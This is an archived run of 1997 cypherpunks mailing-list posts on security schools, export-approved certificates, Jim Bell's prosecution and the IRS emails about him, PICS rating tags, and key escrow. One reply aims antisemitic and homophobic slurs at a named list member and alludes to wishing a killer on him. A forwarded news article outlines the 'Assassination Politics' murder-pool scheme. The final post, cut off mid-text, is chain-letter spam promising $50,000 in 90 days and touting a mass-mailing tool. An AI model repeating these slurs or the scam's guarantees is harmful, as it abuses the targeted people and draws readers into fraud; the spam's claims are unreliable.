From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nick West <nick@multipro.com>
Date: Sun, 20 Jul 1997 05:28:33 +0800
To: cypherpunks@toad.com
Subject: Cypherpunk U
Message-ID: <3.0.1.32.19970719161747.006b49e8@mail.multipro.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

What are some of the better colleges/universities to study 
Computer/Network security at? I know MIT is a good one. Any others 
that aren't quite so hard to get in to that still offer quality 
programs?
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM9Eu9MF7aWKjtgVVAQGQUAP+O1255PqXzWGixEcku+kOwxhSpiibilg5
GMnV/6KZ1uWLefyWhyclx0S8yogHhbDyaWs3jpJ32MNQk/hbpliotD3r7oJHgmux
pCbv71pwBzPU0z1q5qtaBnU3kEuCQtnVVvYobSJWkcrVAnBMxQVIl4Pd8ccHGdmy
kKvoKx5Z3YM=
=B3mA
-----END PGP SIGNATURE-----


Nick West
http://members.tripod.com/~NWest/index.html

 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tomw@netscape.com (Tom Weinstein)
Date: Sun, 20 Jul 1997 07:53:09 +0800
To: Steve Schear <azur@netcom.com>
Subject: Re: Verisign gets export approval
In-Reply-To: <Pine.3.89.9707171711.A10551-0100000@netcom2>
Message-ID: <33D15229.F089636C@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain



Steve Schear wrote:
> 
> At 10:02 PM -0700 7/18/97, Tom Weinstein wrote:
>> amp@pobox.com wrote:
>>>
>>>> There's nothing preventing another CA from getting permission from
>>>> the USG to issue these magic certs.  We would have to distribute a
>>>> patch, but I don't see any problem with that.
>>>
>>> uh, why does one need permission of the usg to issue "magic certs"?
>>
>> Because issuing these certs is defined as a "defense service".
> 
> Precisely why there needs to be some hacks, from offshore CP, to
> enable anyone to issue "magic certs".  Any volunteers?

The main result of such a hack would probably be to get our export
license yanked.  Of course, you might see that as desirable, for either
its direct or indirect effects.

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw@netscape.com
transcending structure.  -- The Tao of Programming   |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tomw@netscape.com (Tom Weinstein)
Date: Sun, 20 Jul 1997 08:15:03 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Cypherpunk U
In-Reply-To: <v03102815aff6f510fe24@[207.167.93.63]>
Message-ID: <33D156A0.7C1B9D56@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> 
> At 2:17 PM -0700 7/19/97, Nick West wrote:
> >-----BEGIN PGP SIGNED MESSAGE-----
> >
> >What are some of the better colleges/universities to study
> >Computer/Network security at? I know MIT is a good one. Any others
> >that aren't quite so hard to get in to that still offer quality
> >programs?
> 
> Do you mean for grad school, or for undergrad work?
> 
> If the former, look for where the papers that interest you are coming
> from.  That is, whom do you want to work with? UC Berkeley is
> obviously doing interesting work, Purude has some well known folks,
> and Carnegie-Mellon is in the home city of CERT (maybe not a
> recommendation...). And Stanford is always a hotbed. At least a dozen
> other places are doing fine work.

Princeton and the University of Washington are also doing some
interesting things, if you're interested in Java security.

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw@netscape.com
transcending structure.  -- The Tao of Programming   |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Sun, 20 Jul 1997 08:19:05 +0800
To: cypherpunks@cyberpass.net
Subject: Jim Bell on Seattle TV
Message-ID: <19970720001403.19954.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



KING-TV, channel 5, here in Seattle just had a blurb about James Dalton
Bell.  8 years was mentioned, as were obstruction and the use of false
social security numbers.  I didn't hear the whole thing clearly as I was
doing something else at the time.

Sentencing to follow at a later date.  

They showed a picture of a very rotund individual while the story
was rolling.  

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 20 Jul 1997 05:56:05 +0800
To: cypherpunks@toad.com
Subject: Jim Bell Docket 2
Message-ID: <1.5.4.32.19970719214306.006c6408@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



We've put the latest court docket for Jim Bell at:

   http://jya.com/jimbell-dock2.htm

As noted earlier, it shows that the case has been assigned
to a new judge and the last entry is dated July 9 for filing
"felony information" by the US Attorney. No listing of the 
alleged plea bargain.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 20 Jul 1997 00:09:41 +0800
To: cypherpunks@Algebra.COM
Subject: PICS recipes
Message-ID: <199707191603.SAA15143@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Dimitri the KOTM has asked how to rate one's Web site as being very "nasty".


Add the following META tags between the <HEAD> and </HEAD> tags:

<HEAD>
...
<META NAME="rating" CONTENT="adults only"><META HTTP-EQUIV="PICS-Label"
CONTENT='(PICS-1.1 "http://www.rsac.org/ratingsv01.html" l r (n 4 s 4 v 4 l 4)
"http://www.classify.org/safesurf/" l r (SS~~000 9 SS~~001 9 SS~~002 9 SS~~003
9 SS~~004 9 SS~~005 9 SS~~006 9 SS~~007 9 SS~~008 9 SS~~009 9 SS~~00A 9)
"http://www.weburbia.com/safe/ratings.htm" l r (s 2)
"http://vancouver-webpages.com/VWP1.0/" l r (P 4 S 7 SF 2 V 5 Tol 4 Com 3 Env
2 MC 2 Gam 3 Can 0 Edu 1 ))'>
...
</HEAD>

(The stuff between the single quotes ' ' should probably be all on one line!)


Add the following RFC822-style header to your e-mail and Usenet articles:

PICS-Label: (PICS-1.1 "http://www.rsac.org/ratingsv01.html" l r (n 4 s 4 v 4 l
 4) "http://www.classify.org/safesurf/" l r (SS~~000 9 SS~~001 9 SS~~002 9
 SS~~003 9 SS~~004 9 SS~~005 9 SS~~006 9 SS~~007 9 SS~~008 9 SS~~009 9 SS~~00A
 9) "http://www.weburbia.com/safe/ratings.htm" l r (s 2)
 "http://vancouver-webpages.com/VWP1.0/" l r (P 4 S 7 SF 2 V 5 Tol 4 Com 3 Env
 2 MC 2 Gam 3 Can 0 Edu 1 ))

          /\ /\
         ((ovo)) RatingsMonger
         ():::()
           VVV





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 20 Jul 1997 00:48:31 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199707191635.SAA19503@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




TruthMonger <tm@dev.null> wrote:
>Joe Shea wrote:
>> On the other hand,
>> if someone's going to blow up San Francisco this week, it sure would help
>> to have a key to any encrypted communications he was generating.
>
>  Yeah, sure. I use an escrowed key to communicate about all of my
>criminal activities, and I send the FBI a cc: on all of them.
>  It sure would help if LEA's all had access to the American Reporter's
>files so that they could censor any writing that might encite someone to
>blow up San Franciso.
>  Why don't you send them all of your writing for approval, Joe? If all
>the people in favor of key escrow would allow the government total
>access
>to all of their communications, then the drop in crime would more than
>make up for that commited by those who use encryption.
>
>  If you can't afford to buy a clue, Joe, then try renting.

It seems that Mr. Shea is still a bit wet behind the ears when it comes to 
understanding how the world really works.  Listen up, Joe.  You might learn 
something here:

As TruthMonger correctly points out, no terrorist is going to use an 
escrowed key to encrypt info about his activities.  At least not as his only 
source of encryption.  He may first encrypt the message with one or more 
non-GAK keys and then use the GAK key for the final layer, to make the 
message look legit (i.e., "government approved") to anyone who may be 
analyzing the contents of email traffic, looking for "unapproved crypto."  
Therefore, if someone is plotting to blow up San Francisco, GAK will be of 
no help in preventing it.

Now the LEAs are not stupid.  They realize this fact.  Then why are they so 
adamant about implementing GAK when it will do absolutely nothing to prevent 
the very things (i.e., terrorism, child porn, [crime du jour]) it is 
supposedly meant to counter?  Because terrorism, etc. are not the reasons 
they are pushing for GAK.  The real reason is control: control over the 
citizenry.

You see, Joe, the LEAs have seen the future, and it has scared them 
shitless.  They see a world filled with ubiquitous privacy via strong 
encryption, privately-issued digital cash which transcends national borders 
and the taxman, and a digital world completely beyond their control.  The 
powermonger's worst nightmare is to lose his power.  He will do anything he 
can to maintain it.  If GAK is slowly, but surely implemented over the next 
few years, maybe, just maybe, the powermongers will be able to maintain 
control.  Or at least that's what they hope.

If not, then the self-righteous moralist will lie awake at night in 
frustration knowing that somewhere in the world, someone is getting off to a 
.jpg image of child porn, even though that image was generated digitally 
without actually causing harm to any children.  The DC politicos will be 
outraged that Americans are systematically moving their money offshore (via 
digital cash), out of the clutches of the IRS.  The media thought police 
will not be able to control the flow of information around the world, thus 
exposing the lies that they attempt to propogate as "truth."


Now, Joe, perhaps you are the kind of person that thinks dodging the taxman 
is wrong?  Perhaps you think the government has the right to force its 
citizenry to pay for things like nuclear warheads, abortion clinics, or 
bribes to line the pockets of Third World banana republic dictators?  I hope 
you are more intelligent than that, Joe.

You see, it's all very simple, but we humans tend to complicate things 
needlessly.  The fundamental question is whether or not we have the right to 
tell others what to do.  If I was to stick my hand in your pocket, pull out 
your wallet, and give all your money to a beggar on the street, you'd 
probably have me arrested.  And you would be completely right in doing so, 
because I unjustly took what didn't belong to me.  But this is exactly what 
the government does to us every day.  They force us ("voluntary compliance") 
to cough up a chunk of earnings to pay for their ridiculousness.  If we 
don't pay, they levy our bank accounts or seize our assets, all under the 
guise of "law."

The point is this: nobody has the right to tell me what to do.  No single 
person, nor a group of politicians claiming to represent "my best interests" 
has the right to force me to do anything.  I have the inherent (some call it 
God-given) right to live my life free from oppression.  If you choose to 
submit yourself to the slavery of another man, that's your business.  But 
you do not have the right to submit me to the same.

Anyone who believes that government has certain "rights" that an individual 
does not have is severely flawed in their logic.  In fact, that person is 
simply an oppressor at heart.  If you think the government has the "right" 
to stick its hand in my pocket to fulfill what you perceive to be "good", 
then you knowingly support oppression.  If you think government has the 
"right" to punish others who do not agree with your subjective moral code, 
then you are an oppressor.

So what are you, Joe?  Are you an oppressor or not?  It's a yes or no 
answer.  There is no middle ground.  If you think there is middle ground, it 
only shows that you sympathize with the oppressors, and therefore are one of 
them deep down inside.


Yours Truly,
Freddy Bastiat






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Tue, 22 Jul 1997 03:44:53 +0800
To: Tim May <tcmay@got.net>
Subject: Re: IRS sending warning notes, violating ECPA?
In-Reply-To: <v03102810aff69260ceb1@[207.167.93.63]>
Message-ID: <Pine.LNX.3.91.970719190732.1788B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> It certainly appears that the IRS has sent "warnings" out to all of us
> active in the debate. It appears they used the addresses found in e-mail at
> Bell's residence, from some of the comments here (especially that other
> lists besides the Cypherpunks list were involved).


Does anyone here who didn`t recieve a copy of the mail recall if they 
ever mailed Jim directly, and not through the list?

The way I see it there are two possible ways the motherfuckers got the 
addresses, either they found the lists Jim subscribed to and did "who 
cypherpunks" etc. to the servers, to get the list of participants, or 
they used any adresses off the mail jim has recieved in the past, I got a 
copy of it and I have privately emailed Jim several times so I can`t 
really say which is more likely.

If it is the second I am hereby giving Jim a public dresssing down for 
not encrypting the filesystem ;-)....

> "Mr. Bell, if you confess and plead guilty, you'll receive a one-year
> prison term. If you don't confess, when we find you guilty you'll receive
> the maximum term. If you confess but Mr. May _also_ confesses, you'll still
> receive the maximum term. If neither of you confesses, you'll still be
> found guilty. So, what'll it be?"

The sending of this email to people Jim has communicated with, if it was 
a real mail (I haven`t checked before but other people have and have said 
the headers indicate it passed through several .gov hosts), constitutes 
cowardly harrasment. Lock and Load.


        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Tue, 22 Jul 1997 05:37:37 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Crypto implants
In-Reply-To: <199707190103.UAA22861@mailhub.amaranth.com>
Message-ID: <Pine.LNX.3.91.970719191616.1788C-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain





> Hmmmm ... Waco ... Ruby Ridge .... It would seem that murdering US
> Citizens is an excepted investigation tatic of the federal government
> these days. Unfortunatly I don't see things changing any time in the
> future.

Citizen sanitization and removal of undesirable citizen-units is often 
necessary to meet the legitimate concerns of law enforcement, surely any 
reasonable person would realise that.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mismatched NFS IDs <nobody@toad.com>
Date: Sun, 20 Jul 1997 08:18:13 +0800
To: cypherpunks@toad.com
Subject: Re: Will Monolithic Apps Dominate?
In-Reply-To: <v03110705aff564f7cc98@[139.167.130.247]>
Message-ID: <97Jul19.201054edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 18 Jul 1997, Robert Hettinga wrote:

> At 1:33 pm -0400 on 7/18/97, Tim May wrote:
> 
> <an excellent description of the industrial strength software bloat which
> now afflicts the browser market>
> 
> "The Geodesic Network, OpendDoc, and CyberDog"
> http://www.shipwright.com/rants/rant_03.html is the first rant I wrote on
> <ducking> geodesic </d> software. It ended up in a much(!) shorter form as
> a full-page opinion piece in InfoWorld two years ago this October.
> Actually, it's about what happened to me at MacWorld almost exactly two
> years ago.
...
> The software those computers use will not be hard-wired, it will be
> flexible and upgradable. It will be 'out of control'. It will be geodesic,
> like the network itself.
> 
> Cheers,
> Bob Hettinga

I think that depends on what people start adopting.  If you want
"geodesic" software, use Linux.  Pieces are there from every continent,
and all any business needs to do to have a driver and applications written
for any hardware is to release the spec.  It is flexible and upgradable
and 'out of control', and is developed on the internet.  Interestingly
enough, the only stego-crypto "device" I know of is the linux loop device.

There are some crypto plugins for MS, but nothing I know of will bury your
info encrypted with DES or IDEA in the lsbs of a .wav file.

The other interesting thing is that the bloatware is only possible BECAUSE
of Moore's law.  Windows really needs 16Mb, a big hard drive, and a fast
pentium, and it is nice that the price point (around $2k) of the new
machines are about right for each release of a new MS product.  But even
if cpu-memory power (and price per bit sent over the internet) keeps
doubling, the complexity of code is growing exponentially too.  Or was
growing - I think it has past the point where they can add code to the
blob and have it work.

If you are right, then there should be a shift from MS to Linux or
FreeBSD.  Especially if the Wabi32 or Wine projects succeed :).

--- reply to tzeruch - at - ceddec - dot - com ---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 20 Jul 1997 09:53:39 +0800
To: cypherpunks@Algebra.COM
Subject: Re: PICS recipes
In-Reply-To: <199707191603.SAA15143@basement.replay.com>
Message-ID: <eR040D3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



nobody@REPLAY.COM (Anonymous) writes:

>
> Dimitri the KOTM has asked how to rate one's Web site as being very "nasty".

Thanks!!

> "http://vancouver-webpages.com/VWP1.0/" l r (P 4 S 7 SF 2 V 5 Tol 4 Com 3 Env
> 2 MC 2 Gam 3 Can 0 Edu 1 ))'>

I find this one the funniest.  It means, the page makes disparaging remarks
about the environment and has no Canadian content.


>           /\ /\
>          ((ovo)) RatingsMonger
>          ():::()
>            VVV


I suppose for good measure one could add

<meta name="keywords" content="shit, fuck, piss, cunt, socksucker...">
among the headers.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 20 Jul 1997 10:18:33 +0800
To: cypherpunks@toad.com
Subject: Re: Bean IRS for Another $250,000
In-Reply-To: <1.5.4.32.19970719182921.006c9cb0@pop.pipeline.com>
Message-ID: <y9040D4w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



John Young <jya@pipeline.com> writes:

> Four of the IRS messages on Jim Bell came here (see below), two via
> cypherpunks@toad.com and two directly. (Oddly, none were forwarded
> from cyberpass.net as usual for messages to cypherpunks@toad.com.)

FWIW, here are the headers of the one IRS e-mail spam I got directly
(in addition to the ones via mailing lists)

]Received: by bwalk.dm.com (1.65/waf)
]	via UUCP; Fri, 18 Jul 97 19:06:35 EDT
]	for dlv
]Received: from tcs-gateway1.treas.gov by uu.psi.com (5.65b/4.0.061193-PSI/PSINet) via SMTP;
]        id AA23310 for dlv@bwalk.dm.com; Fri, 18 Jul 97 18:48:06 -0400
]Received: by tcs_gateway1.treas.gov id AA19664
]  (InterLock SMTP Gateway 3.0 for dlv@bwalk.dm.com);
]  Fri, 18 Jul 1997 18:47:53 -0400
]Received: by tcs_gateway1.treas.gov (Internal Mail Agent-2);
]  Fri, 18 Jul 1997 18:47:53 -0400
]Received: by tcs_gateway1.treas.gov (Internal Mail Agent-1);
]  Fri, 18 Jul 1997 18:47:53 -0400
]Date: Thu, 17 Jul 1997 12:30:03 -0400
]From: IRS Inspection <irsnwpr@net.insp.irs.gov>
]Message-Id: <199707171630.MAA02739@net.insp.irs.gov>
]To: Interested-Parties@net.insp.irs.gov
]Subject: Something of Interest

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 20 Jul 1997 10:18:26 +0800
To: cypherpunks@toad.com
Subject: Re: Cypherpunk U
In-Reply-To: <v03102815aff6f510fe24@[207.167.93.63]>
Message-ID: <40a50D6w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> writes:
> Ask Sameer Parekh why he picked Berkeley over MIT for his undergraduate
> experience (apparently now on hiatus as he runs his company).

Because the Arab terrorist Sameer "Gas the Kikes" Parekh likes to suck
big dicks.  There are even more fags at Berkeley/San Francisco than
at MIT/Cambridge, and Sameer likes being with his fellow cocksuckers.

Where is Cunanan when the cryptographic field needs him?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Sun, 20 Jul 1997 13:21:02 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Something of Interest (fwd)
In-Reply-To: <3.0.2.32.19970719110331.00a646c0@ctrl-alt-del.com>
Message-ID: <3.0.2.32.19970719221228.03eb4630@ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



At 01:10 PM 7/19/97 -0700, Tim May wrote:
>At 11:03 AM -0700 7/19/97, Alan wrote:
>>At 01:51 AM 7/19/97 -0400, Declan McCullagh wrote:
>>>Hey, I'm here. Didn't get one of these IRS msgs at any of my accounts.
>>>
>>>Is it just me, or does anyone else remember a similar message being pumped
>>>out about the same time Bell was raided (April 1).
>>
>>I will check the archives...
>>
>
>No need to check. Recall that the odd name, "IRS Investigations," was our
>first word on the Bell raid.
>
>I didn't comment earlier when Declan asked, as I thought he was making a
>rhetorical point.

I found the actual article.  It was forwarded to the list by someone.
(Maybe Igor?)  The headers are interesting.  I have the full header set if
anyone is interested...

This post did not seem to get posted to the list, but only as a forward...

-------------------------------------------------------------
From: cpunks@algebra.com
Subject: Something of interest... (fwd)
To: cypherpunks@manifold.algebra.com
Date: Wed, 2 Apr 1997 21:36:29 -0600 (CST)
Reply-To: ichudov@algebra.com
X-Mailer: ELM [version 2.4 PL24 ME7]
Sender: owner-cypherpunks@algebra.com
X-Mailing-List: cypherpunks@algebra.com
X-Loop: cypherpunks@algebra.com

----- Forwarded message from IRS Inspection -----

>From cpunks@manifold.algebra.com  Wed Apr  2 20:08:29 1997
Date: Tue, 1 Apr 1997 15:34:37 -0500
From: IRS Inspection <irsnwpr@net.insp.irs.gov>
Message-Id: <199704012034.PAA00146@net.insp.irs.gov>
To: Interested_Parties@net.insp.irs.gov
Subject: Something of interest...
Sender: owner-cypherpunks@toad.com
Precedence: bulk

The Oregonian, Wednesday, April 2, 1997

20 armed federal agents raid home in Vancouver

- The occupant is investigated for an Internet essay he allegedly wrote on
killing government 
officials




By John Painter Jr. of The Oregonian staff

VANCOUVER, Wash. - About 20 armed agents from at least three federal
agencies in four states raided a Vancouver home Tuesday, apparently
looking for evidence of a plot to kill government officials.

Sources said James D. Bell, who reportedly lives with his elderly
parents at the home at 7214 Corregidor Road, was the subject of an
investigation involving an essay he allegedly wrote and circulated
on the Internet.  The essay promotes a way to win money by correctly
predicting the time of death of selected government agents.

The essay - "Assassination Politics" - has been the subject of both
serious discussion and pointed derision in Internet forums.  One critic
described it as "nothing more than a plan to commit murder for political
purposes."

Agents, guns drawn, boiled from a dozen-vehicle caravan before it
stopped rolling just after 9 a.m. and entered the McLoughlin Heights
neighborhood home to search it.  The FBI, Internal Revenue Service and
Bureau of Alcohol, Tobacco, and Firearms raiders were accompanied by
members of the Portland Police Bureau's bomb squad.

Bell, described in a federal document as armed and dangerous, was seen
chatting with agents outside the house after agents entered the home.
The raid reportedly was planned by the IRS Inspection office in Walnut
Creek, Calif., which does criminal investigations for the agency.

Most of the agents at the scene drove cars bearing Oregon plates.
Others had plates from Washington, California and Nevada.

The Internet essay speculates on a complicated procedure to kill
government agents who violate the "Non-Aggression Principle," which
was not explained.

The essay suggests creation of an organization that would manage a
list of people who "had seriously violated the NAP, but who would not
see justice in our courts due to the fact that their actions were
done at the behest of the government."

The essay mentions the federal agents involved in the Waco and Ruby
Ridge actions as examples.

Each name would have a dollar figure attached to it.  That amount-
received as contributions-would be awarded "for correctly `predicting'
the person's death, presumably naming the exact date," the essay says.
"Predictions" would go into a computer file, it says, then be encrypted.

The death-date prediction then would be delivered to the organization
by an untraceable method, such as putting it on a floppy computer disk
in code and mailing it.

In effect, the source said, when the pool got big enough someone
would kill the targeted person and collect the pool money by telling
beforehand when the target would die.

Agents at the scene refused to comment on the probable cause for the
search warrant, as did the IRS office in California and the
U.S. attorney's office in Seattle.

However, a source familiar with the investigation suggested that IRS
agents believed they are among the potential targets.

In March 1989, the house was raided as a suspected methamphetamine
lab, but drug agents found only a chemical used in making the drug.

James Bell was charged with manufacturing illicit drugs and possessing
phenyl acetic acid with intent to manufacture methamphetamine.  The
felonies were later dismissed, and Bell was allowed to plead guilty
to a misdemeanor and pay a $2,500 fine.

----- End of forwarded message from IRS Inspection -----


---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: n/a <rthom07@ibm.net>
Date: Sun, 20 Jul 1997 07:11:47 +0800
To: <cypherpunks@Algebra.COM>
Subject: From - Tue Jun 24 09:59:29 1997
Message-ID: <18161.235630.75478623 cypherpunks@algebra.com>
MIME-Version: 1.0
Content-Type: text/plain






PLEASE, Read This Twice!!

Dear friend,

================================================
================================================
This is a "ONE-TIME MESSAGE"  you were randomly selected to
receive this.  There is no need to reply to remove, you will receive
no further mailings from us.  If you have interest in this GREAT
INFORMATION,  please do not click reply,  use the contact 
information in this message.  Thank You! :-)
================================================
================================================

             *** Print This Now For Future Reference ***

The following income opportunity is one you may be interested in 
taking a look at.  It can be started with VERY LITTLE investment
and the income return is TREMENDOUS!!!  

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

You are about to make at least $50,000 in less than 90 days!  
Please read the enclosed program...THEN READ IT AGAIN!!!

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

THIS IS A LEGITIMATE, LEGAL, MONEY MAKING
OPPORTUNITY.   It does not require you to come into contact with
people, do any hard work, and best of all, you never have to leave 
the house except to get the mail.  If you believe that someday you'll 
get that big break that you've been waiting for, THIS IS IT!  Simply
follow the instructions, and your dream will come true.  This
multi-level e-mail order marketing program works perfectly...100%
EVERY TIME.  E-mail is the sales tool of the future.  Take advantage
of this non-commercialized method of advertising NOW!!!  The longer
you wait, the more people will be doing business using e-mail.  Get
your piece of this action!!!  

MULTI-LEVEL MARKETING (MLM) has finally gained
respectability.  It is being taught in the Harvard Business School, 
and both Stanford Research and the Wall Street Journal have stated
that between 50% and 65% of all goods and services will be sold
through multi-level methods by the mid to late 1990's.  This is a 
Multi-Billion Dollar industry and of the 500,000 millionaires in the 
U.S., 20% (100,000)  made their fortune in the last several years in
MLM.  Moreover, statistics show 45 people become millionaires
everyday through Multi-Level Marketing. 

The enclosed information is something I almost let slip through my 
fingers.  Fortunately, sometime later I re-read everything and gave 
some thought and study to it.  

My name is Christopher Erickson.  Two years ago, the corporation I 
worked at for the past twelve years down-sized and my position was 
eliminated.  After unproductive job interviews, I decided to open my 
own business.  Over the past year, I incured many unforeseen 
financial problems.  I owed my family, friends and creditors over
$35,000.  The economy was taking a toll on my business and I just
couldn't seem to make ends meet.  I had to refinance and borrow 
against my home to support my family and struggling business.  AT
THAT MOMENT something significant happend in my life and I am
writing to share the experience in hopes that this will change your
life FOREVER FINANCIALLY!!!

In mid December, I received this program via e-mail.  Six month's 
prior to receiving this program I had been sending away for 
information on various business opportunities.  All of the programs 
I received, in my opinion, were not cost effective.  They were either 
too difficult for me to comprehend or the initial investment was too 
much for me to risk to see if they would work or not.  One claimed 
that I would make a million dollars in one year...it didn't tell me 
I'd have to write a book to make it!  

But like I was saying, in December of 1995 I received this program.  
I didn't send for it, or ask for it, they just got my name off a 
mailing list. THANK GOODNESS FOR THAT!!!  After reading 
it several times, to make sure I was reading it correctly, I couldn't 
believe my eyes.  Here was a MONEY MAKING PHENOMENON.
I could invest as much as I wanted to start, without putting me 
further into debt.  After I got a pencil and paper and figured it 
out, I would at least get my money back.  After determining the 
program was LEGAL and NOT A CHAIN LETTER, I decided 
"WHY NOT."

Initially I sent out 10,000 e-mails.  It cost me about $15.00 for my 
time on-line.  The great thing about e-mail is that I don't need any 
money for printing to send out the program, only the cost to fulfill 
my orders.  I am telling you like it is, I hope it doesn't turn you 
off, but I promised myself that I would not "rip-off" anyone, no 
matter how much money it cost me!

A good program to help do this is Ready Aim Fire, an e-mail 
extracting and mass mail program.  
At  http://microsyssolutions.com

In less than one week, I was starting to receive orders for REPORT 
#1.  By January 13, I had received 26 orders for REPORT #1.  When
you read the GUARANTEE in the program, you will see that "YOU
MUST RECEIVE 15-20 ORDERS FOR REPORT #1 WITHIN 2
WEEKS.  IF YOU DON'T, SEND OUT MORE PROGRAMS UNTIL
YOU DO!"  My first step in making $50,000 in 20-90 days was done.
By January 30, I had received 196 orders for REPORT #2.  If you go
back to the GUARANTEE, "YOU MUST RECEIVE 100+ ORDERS
FOR REPORT #2 WITHIN 2 WEEKS.  IF NOT, SEND OUT MORE
PROGRAMS UNTIL YOU DO.  ONCE YOU HAVE 100 ORDERS,
THE REST IS EASY, RELAX, YOU WILL MAKE YOUR $50,000
GOAL."  Well, I had 196 orders for REPORT #2, 96 more than I
needed.  So I sat back and relaxed.  By March 19, of my e-mailing of
10,000, I received $58,000 with more coming in every day.  

I paid off ALL my debts and bought a much needed new car.  Please 
take time to read the attatched program, IT WILL CHANGE YOUR
LIFE FOREVER!!!  Remember, it won't work if you don't try it.  This
program does work, but you must follow it EXACTLY!  Especially
the rules of not trying to place your name in a different place.  It 
won't work, you'll lose out on a lot of money!  REPORT #2 
explains this. Always follow the guarantee, 15-20 orders for 
REPORT #1, and 100+ orders for REPORT #2 and you will make 
$50,000 or more in 20-90 days.  I AM LIVING PROOF THAT IT 
WORKS!!!

If you choose not to participate in this program, I am sorry.  It 
really is a great opportunity with little cost or risk to you.  If  
you choose to participate, follow the program and you will be on 
your way to financial security.  

If you are a fellow business owner and are if financial trouble like 
I was, or you want to start your own business, consider this a sign. 
I DID!
                                               Sincerely,             

                                               Christopher Erickson   


P.S. Do you have any idea what 11,700  $5 bills ($58,000) look like 
piled up on a kitchen table?  IT'S AWESOME!



A PERSONAL NOTE FROM THE ORGINATOR OF THIS
PROGRAM:
By the time you have read the enclosed program and reports, you
should have concluded that such a program, and one that is legal, 
could not have been created by an amateur.  

Let me tell you a little about myself.  I had a profitable business 
for 10 years.  Then in 1979 my business began falling off.  I was 
doing the same things that were previously successfull for me, but it
wasn't working.  Finally, I figured it out.  It wasn't me, it was the
economy.  Inflation and recession had replaced the stable economy
that had been with us since 1945.  I don't have to tell you what 
happend to the unemployment rate... because many of you know from 
first hand experience.  There were more failures and bankruptcies 
than ever before. 

The middle class was vanishing.  Those who knew what they were
doing invested wisely and moved up.  Those who did not, 
including those who never had anything to save or invest, were 
